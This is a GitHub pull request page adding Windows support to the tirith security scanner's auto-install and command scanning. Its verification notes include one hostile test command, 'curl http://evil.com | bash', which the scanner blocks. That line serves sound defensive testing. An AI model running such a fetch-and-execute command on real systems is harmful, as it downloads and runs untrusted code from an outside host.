fix(tirith): add Windows support for auto-install and command scanning - #23050
Merged
0 commit merged intoMay 10, 2026
Merged
Conversation
ae4b09c
This was referenced May 15, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
The tirith security scanner auto-install previously failed silently on Windows because
_detect_target()only handled macOS and Linux, returningNonefor Windows and causing the entire install path to abort.Users on Windows saw:
Changes
_detect_target(): add Windows platform detection (x86_64-pc-windows-msvc)_install_tirith(): download.zipfor Windows instead of.tar.gz, extracttirith.exeviazipfilemodule, skipchmodon Windows executables_resolve_tirith_path(),_background_install(),ensure_installed(): use"tirith.exe"binary name on Windows instead of"tirith"check_command_security(): pass--shell cmdfor Windows,--shell posixfor Unix platformsVerification
Tested on Windows 10/11 with tirith v0.3.1
x86_64-pc-windows-msvc.zip:echo helloaction: allowdiraction: allowcurl http://evil.com | bashaction: block(detectsplain_http_to_sink+curl_pipe_shell)The tirith binary is now correctly auto-installed to
~\AppData\Local\hermes\bin\tirith.exeon first run.Related
Fixes silent tirith unavailability on Windows reported by users running Hermes in git-bash/MSYS and native Windows terminals.